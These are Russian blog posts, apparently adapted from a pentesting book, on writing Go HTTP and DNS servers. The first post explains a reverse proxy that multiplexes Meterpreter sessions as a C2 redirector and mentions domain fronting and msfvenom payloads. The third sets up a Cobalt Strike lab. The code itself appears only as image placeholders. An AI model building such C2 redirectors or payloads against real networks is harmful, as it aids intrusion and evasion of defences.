В этом же разделе поговорим о создании обратного HTTP-прокси в Go, который позволит динамически перенаправлять входящие сессии Meterpreter на основе HTTP-заголовка Host. Именно так и работает виртуальный хостинг сайтов. Тем не менее вместо предоставления различных локальных файлов и каталогов мы будем проксировать соединение на разных слушателей Meterpreter. Это будет интересным случаем применения по нескольким причинам.

Во-первых, прокси-сервер выступает в роли переадресатора, позволяя раскрывать только имя домена и IP-адрес, но не слушателей Meterpreter. Если переадресатор вдруг попадет в черный список, можно будет легко переместить его, не перемещая C2-сервер. Во-вторых, вы можете расширить приведенные здесь концепции для выполнения доменного фронтирования, техники задействования доверенных сторонних доменов (зачастую от облачных провайдеров) для обхода ограничивающего контроля исходящего трафика. Мы не будем разбирать здесь пример детально, но вам рекомендуем изучить эту тему подробнее, поскольку это очень мощная техника. И наконец, приведенный пример показывает, как можно совместно использовать одну комбинацию «хост/порт» в команде союзников, потенциально атакуя разные целевые организации. Поскольку порты 80 и 443 — это наиболее вероятные допустимые точки выхода, можно применять прокси-сервер для их прослушивания и перенаправления соединений на правильного слушателя.

Вот наш план. Мы настроим два отдельных обратных HTTP-слушателя Meterpreter. В этом примере они будут размещаться на виртуальной машине с IP-адресом 10.0.1.20, также вполне допускается их размещение на разных хостах. Мы привяжем этих слушателей к портам 10080 и 20080 соответственно. В реальном сценарии они могут выполняться где угодно, при условии что прокси-сервер сможет связаться с их портами. Убедитесь, что у вас установлен MetasploitKali Linux он установлен по умолчанию), затем запустите слушателей:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

При запуске слушателя мы передаем прокси-данные как значения LHOST и LPORT. Тем не менее устанавливаем продвинутые опции ReverseListener, BindAddress и ReverseListenerBindPort на действительный IP-адрес и порт, где должен запускаться слушатель. Это дает некоторую гибкость при использовании портов, в то же время позволяя явно идентифицировать прокси-сервер, которым в случае, например, настройки фронтирования домена может быть имя хоста.

Во втором экземпляре Metasploit мы делаем то же самое для запуска дополнительного слушателя на порте 20080. Единственное отличие здесь в привязке к другому порту:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Теперь создадим обратный прокси, исчерпывающий код которого приведен в коде ниже.

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Мультиплексирование Meterpreter

В первую очередь выполняется импорт пакета net/http/httputil, который содержит вспомогательную функциональность для создания обратного прокси. Это избавит вас от необходимости делать все с нуля.

После импорта пакетов определяются две переменные, которые являются картами. Первая, hostProxy, будет служить для сопоставления имен хостов с URL-адресом слушателя Metasploit, на который их нужно направлять. Вспомните, что переадресацию мы делаем на основе заголовка Host, который ваш прокси-сервер получает в HTTP-запросе. Поддержание этого сопоставления — простой способ определения мест назначения.

Вторая переменная, proxies, также будет использовать в качестве значения ключей имена хостов. Тем не менее соответствующие им значения в карте являются экземплярами *httputil.ReverseProxy. То есть эти значения будут не строковыми представлениями места назначения, а фактическими экземплярами прокси-сервера, на которые можно делать перенаправление.

Обратите внимание: данную информацию мы кодируем жестко, и это не самый удачный способ управления конфигурацией и проксирования данных. В более оптимальной реализации информация сохранялась бы во внешнем файле конфигурации, но это упражнение мы оставим вам для самостоятельной проработки.

С помощью функции init() мы определяем сопоставления между именами доменов и целевыми экземплярами Metasploit. В этом случае будем перенаправлять все запросы со значением заголовка Host, равным attacker1.com, на http://10.0.1.20:10080, а со значением attacker2.com — на http://10.0.1.20:20080. Конечно же, пока мы не делаем реальное перенаправление, а просто создаем зачаточную конфигурацию. Обратите внимание на то, что адреса назначения соответствуют значениям ReverseListenerBindAddress и ReverseListenerBindPort, которые мы использовали для слушателей Meterpreter ранее.

Далее все в той же функции init() мы перебираем карту hostProxy, делая парсинг целевых адресов для создания экземпляров net.URL. Полученный результат задействуется в качестве ввода в вызове функции httputil.NewSingleHostReverseProxy (net.URL), которая является вспомогательной функцией, создающей обратный прокси из URL. Более того, тип httputil.ReverseProxy удовлетворяет требованиям интерфейса http.Handler, то есть создаваемые экземпляры прокси можно использовать как обработчики для маршрутизатора. Делается это с помощью функции main(). Сначала создается маршрутизатор, после чего осуществляется перебор всех экземпляров прокси. Напомним, что ключ — это имя хоста, а значение имеет тип httputil.ReverseProxy. Для каждой пары «ключ/значение» карты мы добавляем в маршрутизатор функцию сопоставления. Тип Route из набора Gorilla MUX содержит такую функцию под названием Host, которая получает имя хоста для сопоставления со значениями заголовка Host входящих запросов. Для каждого имени хоста, которое нужно проверить, мы указываем маршрутизатору использовать соответствующий прокси. Это на удивление простое решение того, что в противном случае оказалось бы сложной задачей.

В завершение происходит запуск сервера и его привязка к порту 80. Сохранитесь и запустите программу. Это нужно будет сделать от имени привилегированного пользователя, поскольку привязка выполняется к привилегированному порту.

На данный момент у нас запущены два обратных HTTP-слушателя Meterpreter, а также должен работать обратный прокси-сервер. Последний шаг — генерирование тестовой полезной нагрузки для проверки его итоговой работоспособности. Для этого мы задействуем msfvenom — инструмент генерирования полезной нагрузки, который также поставляется вместе с Metasploit. С его помощью создадим два исполняемых файла Windows:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Эти команды создадут два файла с названиями payload1.exe и payload2.exe. Обратите внимание на то, что единственное различие между ними помимо самого имени заключается в значениях HttpHostHeader. Это гарантирует, что итоговая полезная нагрузка отправляет свои HTTP-запросы с конкретным значением заголовка Host. Также стоит заметить, что значения LHOST и LPORT соответствуют информации нашего обратного прокси-сервера, а не слушателей Meterpreter. Отправьте эти исполняемые файлы в систему Windows или на виртуальную машину. При их выполнении должны устанавливаться две сессии: одна в слушателе, привязанном к порту 10080, вторая в слушателе, привязанном к порту 20080. Выглядеть они должны так:

Сбор учётных данных Linux, Информационная безопасность, Хакеры, Взлом, Программирование, IT, Программист, Длиннопост

Если с помощью tcpdump или Wireshark вы проверите трафик, предназначенный для порта 10080 или 20080, то должны увидеть, что обратный прокси-сервер является единственным хостом, коммуницирующим со слушателем Metasploit. Вы также можете убедиться, что заголовок Host соответствующим образом устанавливается на attacker1.com для слушателя на порте 10080 и на attacker2.com для слушателя на порте 20080.

Вот и все. Вы справились! Теперь пора поднять планку. Я советую вам в качестве дополнительного упражнения доработать код для использования поэтапной полезной нагрузки. Это будет сопряжено с дополнительными трудностями, так как потребуется добиться того, чтобы обе стадии правильно перенаправлялись через прокси. Затем попробуйте реализовать это с помощью HTTPS вместо небезопасного HTTP. Так вы сможете глубже разобраться в проксировании трафика для вредоносных целей и повысить его эффективность.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 16

Основы HTTP-серверов

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

В этой статье вы поближе познакомитесь с пакетом net/http и полезными сторонними библиотеками на примере построения простых серверов, маршрутизаторов и промежуточного ПО.



Создание простого сервера:

Код снизу запускает сервер, который обрабатывает запросы по одному пути. (Все листинги кода находятся в корне /exist репозитория GitHub https://github.com/blackhat-go/bhg/.) Этот сервер должен обнаруживать URL-параметр name, содержащий имя пользователя, и отвечать заданным приветствием.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Сервер Hello World

Этот простой пример предоставляет ресурс по адресу /hello. Данный ресурс получает параметр и возвращает его значение обратно клиенту. http.HandleFunc() в функции main() получает два аргумента: строку, являющуюся шаблоном URL-пути, который сервер должен искать, и функцию, которая будет обрабатывать сам запрос. При желании определение функции можно оформить в виде анонимной встроенной функции. В этом примере мы передаем определенную чуть раньше функцию hello().

Функция hello() обрабатывает запросы и возвращает клиенту сообщение «Hello». Она получает два аргумента. Первый — это http.ResponseWriter, используемый для записи ответов на запрос. Второй аргумент является указателем на http.Request, который позволит считывать информацию из входящего запроса. Обратите внимание на то, что мы не вызываем hello() из main(), а просто сообщаем HTTP-серверу, что любые запросы для /hello должны обрабатываться функцией hello().

Что же на самом деле происходит внутри http.HandleFunc()? В документации Go сказано, что она помещает обработчик в DefaultServerMux. ServerMux означает серверный мультиплексор. На деле же это просто сложное выражение, подразумевающее, что внутренний код может обрабатывать несколько HTTP-запросов для шаблонов и функций. Это выполняется посредством горутин, по одной для каждого запроса. При импорте пакета net/http создается ServerMux и прикрепляется к пространству имен этого пакета. Это DefaultServerMux.

В следующей строке прописан вызов http.ListenAndServe(), которая получает в качестве аргументов строку и http.Handler. Она запускает HTTP-сервер, используя первый аргумент в роли адреса, которым в данном случае является :8000. Это означает, что сервер должен прослушивать порт 8000 по всем интерфейсам. Для второго аргумента, http.Handler, передается nil. В результате пакет задействует в качестве обработчика DefaultServerMux. Вскоре мы будем реализовывать собственный http.Handler и передавать его, но пока что используем предустановленный вариант. Можно также задействовать http.ListenAndServeTLS(), которая запустит сервер с использованием HTTPS и TLS, но потребует дополнительных параметров.

Для реализации интерфейса http.Handler необходим один метод — ServeHTTP(http.ResponseWriter, *http.Request). И это здорово, потому что упрощается создание собственных специализированных HTTP-серверов. Существует множество сторонних реализаций, которые расширяют функциональность пакета net/http, добавляя такие возможности, как промежуточное ПО, аутентификация, кодирование ответа и др.

Протестировать созданный сервер можно с помощью curl:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Превосходно! Этот сервер считывает URL-параметр name и отвечает приветствием.


Создание простого маршрутизатора:



Далее мы создадим простой маршрутизатор, приведенный , который показывает, как динамически обрабатывать входящие запросы, проверяя URL-путь. В зависимости от того, что содержит URL-путь, /a, /b или /c, будет выводиться сообщение Executing /a, Executing /b или Executing /c. Во всех остальных случаях отобразится ошибка 404 Not Found.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Простой маршрутизатор

Сначала идет определение типа router без полей, который будет использован в реализации интерфейса http.Handler. Для этого нужно определить метод ServerHTTP(). Он использует для URL-запроса инструкцию switch, выполняя различную логику в зависимости от пути. В нем применяется предустановленный ответ 404 Not Found. В main() мы создаем новый router и передаем соответствующий ему указатель в http.ListenAndServe().

Давайте взглянем на это в ole-терминале:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Все работает, как ожидалось. Программа возвращает сообщение Executing /a для URL, который содержит путь /a. При этом для несуществующего пути она возвращает ответ 404. Это тривиальный пример, и сторонние маршрутизаторы, которые вам предстоит использовать, будут иметь намного более сложную логику, но теперь основной принцип вам должен быть понятен.


Создание простого промежуточного ПО:



Пора перейти к созданию промежуточного ПО, выступающего в качестве обертки, которая будет выполняться для всех входящих запросов независимо от целевой функции. В примере из кода ниже мы создаем логер, отображающий время начала и окончания обработки.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Простое промежуточное ПО

По сути, здесь создается внешний обработчик, который при каждом запросе логирует определенную информацию на сервер и вызывает функцию hello(), вокруг которой логика этого процесса и обертывается.

Как и в примере с маршрутизатором, здесь определяется новый тип logger, но на этот раз в нем есть поле inner, которое является самим http.Handler. В определении ServeHTTP() мы используем log() для вывода времени начала и завершения запроса, вызывая между этими выводами метод ServeHTTP() внутреннего обработчика. Для клиента данный запрос завершится внутри этого обработчика. В main() с помощью http.HandlerFunc() из функции создается http.Handler. Здесь реализуется logger, в котором для inner устанавливается только что созданный обработчик. В завершение происходит запуск сервера с помощью указателя на экземпляр logger.

Выполнение кода и отправка запроса выводят два сообщения, содержащих время его начала и завершения:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Маршрутизация с помощью пакета gorilla/mux



Как показано в Простом Маршрутизаторе, с помощью маршрутизации можно сопоставлять путь запроса с функцией. Ее можно использовать также для сопоставления с функцией и других свойств, таких как HTTP-глаголы (методы запроса) или заголовки хостов. В экосистеме Go доступны несколько сторонних маршрутизаторов. Здесь мы представим один из них — пакет gorilla/mux. Но как и в остальных случаях, рекомендуем расширять знания самостоятельно, изучая и другие пакеты по мере их появления на вашем пути.

gorilla/mux — это зрелый сторонний пакет маршрутизации, который позволяет выполнять перенаправление на основе как простых, так и сложных шаблонов. Помимо прочих возможностей, он предоставляет регулярные выражения, вторичную маршрутизацию, а также сопоставление параметров и глаголов.

Рассмотрим пару вариантов применения этого маршрутизатора. Выполнять эти примеры необязательно, так как вскоре мы задействуем их в реальной программе.

Для использования gorilla/mux нужно его сначала установить с помощью команды go get:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Теперь можно приступить к делу и создать маршрутизатор с помощью mux.NewRouter():

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Возвращаемый тип реализует http.Handler, а также имеет множество других ассоциированных методов. Например, если требуется определить новый маршрут для обработки запросов GET к шаблону /foo, можно сделать так:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Теперь благодаря вызову Methods() этому маршруту будут соответствовать только запросы GET. Все остальные методы будут возвращать ответ 404. Поверх этого можно надстроить цепочку других квалификаторов, например Host(string), который сопоставляет определенное значение заголовка хоста. Как вариант, следующий код будет сопоставлять только те запросы, чей заголовок установлен как www.foo.com:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Иногда это полезно для сравнения и передачи параметров внутри пути запроса, например при реализации RESTful API. С помощью gorilla/mux это делается легко. Следующий код будет выводить на экран все, что следует за /users/ в пути запроса:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

В определении пути параметр запроса задается с использованием фигурных скобок. Можете рассматривать его как место для подстановки. Затем внутри функции-обработчика происходит вызов mux.Vars(), куда передается объект запроса. В ответ вернется map[string] string — карта имен параметров запроса с соответствующими значениями. Поле для подстановки имени user передается в качестве ключа. В итоге запрос к /users/bob должен выдать приветствие для Боба:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Этот шаг можно продолжить, и использовать регулярное выражение для уточнения переданных шаблонов. Например, можно указать, что параметр user должен состоять из букв нижнего регистра:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Теперь любые запросы, не совпадающие с этим шаблоном, будут возвращать ответ 404:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Далее мы разовьем тему маршрутизации, включив реализации промежуточного ПО с помощью других библиотек. Это повысит гибкость обработки HTTP-запросов


Создание промежуточного ПО с помощью Negroni



Простое промежуточное ПО, которое мы показали ранее, логировало время начала и завершения обработки запроса и возвращало ответ. Подобные промежуточные программы не обязательно должны работать с каждым входящим запросом, но в большинстве случаев именно так и будет. Для их применения есть много причин, включая логирование запросов, аутентификацию и авторизацию пользователей, а также отображение ресурсов.

Например, можно написать такую программу для выполнения базовой аутентификации. Она будет парсить заголовок авторизации для каждого запроса, проверять переданные имя пользователя и пароль, возвращая ответ 401 в случае ошибки при аутентификации. Помимо этого, можно связывать в цепочку несколько промежуточных функций так, чтобы они выполнялись поочередно.

При создании промежуточной программы логирования ранее в этой главе мы обернули только одну функцию. На практике же это не особо эффективно, так как вам наверняка понадобится использовать более одной функции. Для этого необходимо применить логику, которая сможет выполнять эти функции поочередно. Написание такого кода с чистого листа не представляет особой сложности, но в этот раз мы обойдемся без изобретения колеса и просто применим проработанный пакет negroni, который уже умеет это делать.

Этот пакет, расположенный в репозитории по адресу https://github.com/urfave/negroni/, хорош тем, что не привязывает вас к крупному фреймворку. При этом его можно легко подключать к другим библиотекам, что делает его особенно гибким.

Также в нем присутствуют предустановленные промежуточные программы, которые могут пригодиться во многих сценариях. Для начала опять же нужно выполнить команду
go get negroni:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Несмотря на то что технически этот пакет можно использовать для всей логики приложения, это будет далеко не самым оптимальным решением, потому что он призван служить промежуточным ПО и не включает маршрутизатор. Лучше применять negroni в тандеме с другим пакетом, например gorilla/mux или net/http. Применим первый для создания программы, которая познакомит вас с negroni и наглядно покажет порядок операций по ходу их реализации в цепочке промежуточных программ.

Начнем с создания нового файла main.go в пространстве имен каталогов, например github.com/blackhat-go/bhg/ch-4/negroni_example/. (Если вы клонировали репозиторий BHG, это пространство имен уже будет создано.) Теперь нужно добавить в созданный файл в код который мы сейчас напишем.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Пример использования Negroni

Сначала, как и ранее, с помощью вызова mux.NewRouter() создается маршрутизатор. Далее идет первое взаимодействие с пакетом negroni, а именно вызов negroni.Classic(). Таким образом создается новый указатель на экземпляр Negroni.

Это можно сделать разными способами: использовать negroni.Classic() или вызвать negroniNew(). Первый вариант, negroni.Classic(), устанавливает набор промежуточных программ по умолчанию, включая логер запросов, утилиту восстановления, которая будет осуществлять прерывание и восстановление в случае паники (аварийной остановки выполнения программы), а также программу, которая будет предоставлять файлы из публичного каталога, расположенного в той же папке. Что же касается функции negroni.New(), то она не создает предустановленного промежуточного ПО.

В пакете negroni доступна каждая из перечисленных промежуточных программ. Например, пакет восстановления можно добавить, выполнив

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Далее следует добавление в стек промежуточного ПО маршрутизатора с помощью вызова n.UseHandler(r). Планируя и собирая собственный промежуточный комплект программ, не забудьте учесть порядок их выполнения. Например, необходимо, чтобы программа проверки аутентификации срабатывала до функции-обработчика, которая эту аутентификацию требует. Любая такая программа, надстроенная над маршрутизатором, будет выполняться после обработчика. Порядок важен. В данном случае мы не определяли собственное ПО, но вскоре к этому прибегнем.

Сейчас же мы создадим сервер из Примера использования Negroni и запустим его. Затем отправим ему веб-запросы по адресу http://localhost:8000. В результате программа логирования negroni должна вывести информацию в stdout, как показано далее. В выводе отражены временная метка, код ответа, время обработки, хост и HTTP-метод:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Конечно, предустановленное промежуточное ПО — это очень хорошо, но реальная мощь проявляется, когда вы создаете собственное. При работе с negroni добавлять промежуточные программы в стек можно с помощью нескольких методов. Взгляните на следующий код. Он создает простую программу, которая выводит сообщение и передает выполнение следующей программе в цепочке:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Эта реализация немного отличается от предыдущих примеров. Ранее мы реализовывали интерфейс http.Handler, который ожидал метод ServeHTTP(), получающий два параметра: http.ResponseWriter и *http.Request. В этом же примере вместо интерфейса http.Handler реализуем интерфейс negroni.Handler.

Небольшое различие здесь в том, что интерфейс negroni.Handler ожидает реализации метода ServeHTTP(), который получает уже не два, а три параметра: http.ResponseWriter, *http.Request и http.HandlerFunc. Параметр http.HandlerFunc представляет следующую промежуточную функцию в цепочке, которую мы назовем next. Сначала обработка выполняется методом ServeHTTP(), после чего происходит вызов next(), которой передаются изначально полученные значения http.ResponseWriter и *http.Request. В результате выполнение передается дальше по цепочке.

Но нам по-прежнему нужно указать negroni использовать в цепочке промежуточного ПО и нашу реализацию. Для этого можно вызвать метод negroni под названием Use и передать ему экземпляр реализации negroni.Handler:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Писать собственный набор промежуточных программ с помощью этого метода удобно, поскольку можно легко передавать их выполнение по цепочке. Но при этом есть один недостаток: все, что вы пишете, должно использовать negroni. Например, если создать пакет промежуточного ПО, который записывает в ответ заголовки безопасности, то он должен будет реализовывать http.Handler, чтобы его можно было применять и в других стеках приложения, так как большинство из них не будут ожидать negroni.Handler. Суть в том, что независимо от назначения создаваемых промежуточных программ проблемы совместимости могут возникнуть при попытке использовать промежуточное ПО negroni в другом стеке и наоборот.

Есть два других способа сообщить negroni, что следует задействовать ваше промежуточное ПО. Первый из них — это уже знакомый вам UseHandler (handler http.Handler). Второй — это вызов UseHandleFunc(handlerFunc func(w http.ResponseWriter, r *http.Request)). Последним вы вряд ли станете пользоваться часто, поскольку он не позволяет поочередно выполнять программы в цепочке. Например, если нужно написать промежуточную функцию для выполнения аутентификации, то в случае неверной информации сессии или учетных данных потребуется возвращать ответ 401 и останавливать выполнение. С помощью названного метода это сделать не получится.



Добавление аутентификации с помощью Negroni:




Прежде чем продолжать, давайте изменим пример из предыдущего раздела, чтобы продемонстрировать использование context, который может легко передавать переменные между функциями. В примере из кода ниже с помощью negroni добавляется промежуточная программа аутентификации.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Использование context в обработчиках

Здесь мы добавили новую промежуточную программу, badAuth, которая будет симулировать аутентификацию исключительно в целях демонстрации. Этот новый тип содержит поля Username и Password и реализует negroni.Handler, поскольку в нем определяется версия метода ServeHTTP() с тремя параметрами. Внутри ServeHTTP() сначала из запроса извлекаются имя пользователя и пароль, после чего их значения сравниваются с имеющимися полями. Если данные не совпадают, выполнение останавливается и запрашивающей стороне отправляется ответ 401.

Обратите внимание на то, что мы делаем возврат до вызова next(). Это останавливает выполнение оставшейся цепочки промежуточных программ. Если учетные данные окажутся верными, выполняется довольно объемный код для добавления имени пользователя в контекст запроса. Сначала происходит вызов context.WithValue() для инициализации контекста из запроса с установкой в него переменной username. Затем мы убеждаемся, что запрос использует новый контекст, вызывая r.WithContext(ctx). Если вы планируете написать веб-приложение на Go, то вам нужно будет получше познакомиться с этим шаблоном, поскольку применять его придется часто.

В функции hello() мы получаем имя пользователя из контекста запроса, применяя функцию Context().Value(interface{}), которая возвращает interface{}. Так как вам известно, что это строка, здесь можно задействовать утверждение типа. Если же вы не можете гарантировать тип или то, что это значение будет существовать в этом контексте, используйте для преобразования инструкцию switch.

Выполните сборку и запустите код Использования context в обработчиках, а затем отправьте несколько запросов на сервер. Попробуйте использовать как верные, так и неверные учетные данные. Вывод должен получиться следующим:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

Отправка запросов без учетных данных приводит к возврату ошибки 401 Unauthorized. Если тот же запрос отправить с верным набором данных, то в ответ придет суперсекретное сообщение, доступное только аутентифицированным пользователям.

Усвоить нужно очень большой объем рассмотренного здесь материала. Функции-обработчики используют для записи ответа в экземпляр http.ResponseWriter только fmt.FPrintf(). Закончу эту статью последним разделом про создание HTML- ответов с помощью шаблонов.



Создание HTML-ответов с помощью шаблонов:



Шаблоны позволяют динамически генерировать содержимое, включая HTML, с помощью переменных из программ Go. Во многих языках генерация шаблонов реализуется с помощью сторонних пакетов. В Go для этой цели есть два пакета, text/template и html/template. Мы же в этой главе используем пакет HTML, потому что он предоставляет необходимую нам контекстную кодировку.

Одна из особенностей учета контекста в пакете Go заключается в том, что он кодирует переменную по-разному, в зависимости от ее расположения в шаблоне. Например, строка в виде URL, переданная в атрибут href, будет закодирована в URL, но при отображении в HTML-элементе она будет закодирована уже в HTML.

Процесс генерации шаблона для его дальнейшего использования начинается с определения самого шаблона, который содержит поле ввода для обозначения динамических контекстных данных для отображения. Его синтаксис покажется знакомым тем, кто применял Jinja совместно с Python. При отрисовке шаблона мы передаем ему переменную, которая будет использоваться в качестве контекста. Она может быть сложной структурой с несколькими полями либо примитивом.

Давайте проработаем код ниже, который создает простой шаблон и заполняет поле ввода JS-кодом. Это искусственный пример, показывающий, как динамически заполнять содержимое, которое возвращается в браузер.

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

HTML-шаблонизация

Сначала создается переменная x, которая будет хранить HTML-шаблон. Здесьдля определения шаблона используется строка, вложенная в код, но в большинстве случаев вам потребуется хранить шаблоны в отдельных файлах. Обратите внимание на то, что этот шаблон представляет простую HTML-страницу. Внутри него с помощью специальной инструкции {{variable-name}} определяются поля ввода. Variable-name — это элемент внутри контекстных данных, который требуется отобразить. Напомним, что это может быть структура или другой примитив.В данном случае мы используем одну точку, сообщая таким образом пакету, что нужно отобразить весь контекст. Учитывая, что мы будем работать с одной строкой, это нормально, но в случае применения более крупных и сложных структур, таких как struct, получение нужных полей осуществляется вызовом после этой точки. Например, если в шаблон передать структуру с полем Username, то отобразить это поле можно будет, используя выражение {{.Username}}.

Далее в функции main() с помощью вызова template.New(string) создается новый шаблон ❸. Затем выполняется вызов Parse(string), обеспечивающий верное форматирование шаблона и его парсинг. Совместно эти две функции возвращают указатель на Template.

В этом примере задействуется всего один шаблон, но шаблоны можно вкладывать в другие шаблоны. При использовании нескольких шаблонов для удобства их дальнейшего вызова важно именовать их последовательно. В завершение происходит вызов Execute(io.Writer, interface{}), который обрабатывает шаблон, используя переменную, переданную в качестве второго аргумента, и записывает его в предоставленный io.Writer. Для демонстрации мы применяем os.Stdout. Вторая передаваемая в метод Execute() переменная — это контекст, который будет использоваться для отображения шаблона.

Выполнение этого кода сформирует HTML-код, и можно заметить, что теги скриптов и другие переданные в контексте вредоносные символы закодированы правильно:

Основы HTTP-серверов Интернет, Программирование, Длиннопост, Сервер, Http, Web-программирование

О шаблонах можно сказать еще много, например то, что вместе с ними допустимо применять логические операторы или что их можно задействовать с циклами и другими управляющими конструкциями. Помимо этого, они позволяют использовать встроенные функции и даже определять и раскрывать любые вспомогательные функции, что существенно расширяет возможности шаблонизации. Я советую вам познакомиться со всеми этими возможностями получше погуглив.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 25

Написание DNS-серверов

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Мастер Йода говорил: «И как всегда двое их, не больше и не меньше». Он, конечно же, говорил об отношениях «клиент — сервер», и поскольку вы являетесь мастером клиентов, то пришло время стать мастером серверов. В этом разделе с помощью того же пакета Go DNS мы напишем простой сервер и прокси. DNS-серверы можно использовать для нескольких вредоносных задач, включая туннелирование сетей с ограниченным доступом и совершение спуфинг-атак с помощью поддельных беспроводных точек доступа.

Для начала нужно настроить лабораторную среду. Она позволит вам симулировать реалистичные сценарии, не требуя наличия действительных доменов и использования дорогостоящей инфраструктуры. Но при желании вы без проблем можете зарегистрировать домены и применять реальный сервер.


Настройка лаборатории и знакомство с сервером


Лаборатория состоит из двух виртуальных машин (VM): Microsoft Windows VM, выступающей в роли клиента, и Ubuntu VM, действующей в качестве сервера.

В этом примере для каждой машины используются VMWare Workstation и сетевой мост. Допустимо применение частной виртуальной сети, но при этом необходимо убедиться, что обе машины принадлежат одной сети. Сервер будет выполнять два экземпляра Cobalt Strike Docker, собранных из официального образа Java Docker (Java — необходимое условие для Cobalt Strike). Снизу показано, как будет выглядеть лаборатория.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Настройка лабораторного стенда для создания DNS-сервера

Сначала нужно создать виртуальную машину Ubuntu (Ubuntu VM). Для этого мы используем дистрибутив 16.04.1 LTS. Никаких особых требований здесь нет, но VM необходимо настроить на использование не менее 4 Гбайт ОЗУ и двух CPU. Если есть, можно задействовать существующую VM или хост. Закончив с операционной системой, необходимо установить среду разработки Go (см. главу 1).

После создания Ubuntu VM займитесь установкой утилиты контейнера виртуализации Docker. В разделе этой главы, посвященном прокси, мы будем использовать Docker для запуска нескольких экземпляров Cobalt Strike. Для установки Docker выполните в терминале:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

После этого повторно войдите в систему и убедитесь, что Docker установлен, выполнив следующую команду:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

После установки Docker с помощью следующей команды скачайте образ Java:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Эта команда получит базовый образ Java Docker, не создавая контейнеры. Таким образом мы подготавливаемся к скорому выполнению сборок Cobalt Strike.

В завершение необходимо убедиться в том, что dnsmasq не запущен, потому что он слушает порт 53. В противном случае ваши DNS-серверы не смогут работать, так как они должны использовать именно этот порт. Если процесс dnsmasq запущен, завершите его по ID:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Теперь нужно создать виртуальную машину Windows (Windows VM). Опять же можно использовать существующую машину. Никаких особых настроек делать не требуется, достаточно минимальных. Когда система заработает, установите для DNS-сервера IP-адрес системы Ubuntu.

Чтобы протестировать настройку лабораторного стенда и перейти к написанию DNS-серверов, мы начнем с создания простого сервера, который возвращает только А-записи. В GOPATH системы Ubuntu создайте каталог github.com/blackhat-go/bhg/ch-5/a_server и файл для хранения кода main.go. Снизу будет показан весь код для создания простого DNS-сервера.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Написание DNS-сервера (/ch-5/a_server/main.go)

Код начинается с вызова HandleFunc(), он во многом напоминает пакет net/http. Первый аргумент функции является шаблоном запроса для сопоставления. Он станет применяться для указания DNS-серверам, какие запросы будут обрабатываться переданной функцией. Используя точку, мы сообщаем серверу, что предоставляемая во втором аргументе функция будет обрабатывать все запросы.

Следующий передаваемый в Handlefunc() аргумент — это функция, содержащая логику обработчика. Она получает два аргумента: ResponseWriter и сам запрос. Внутри обработчика сначала создается новое сообщение и устанавливается ответ. Затем создается ответ на каждый вопрос с помощью А-записи, которая реализует интерфейс RR. Эта часть будет различаться в зависимости от типа искомого вами ответа. Указатель на А-запись добавляется в поле Answer ответа с помощью append(). По завершении ответа его сообщение записывается вызывающему клиенту с помощью w.WriteMsg(). В конце для запуска сервера вызывается ListenAndServe(). Этот код интерпретирует все запросы в IP-адрес 127.0.0.1.

Запустив сервер, можно протестировать его с помощью dig. Убедитесь, что имя хоста, для которого выполняются запросы, разрешается в 127.0.0.1. Это будет означать, что все работает как надо:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Обратите внимание на то, что сервер нужно будет запускать с помощью sudo или через корневую учетную запись (root), потому что он прослушивает привилегированный порт 53. Если сервер не запускается, может потребоваться завершить dnsmasq.

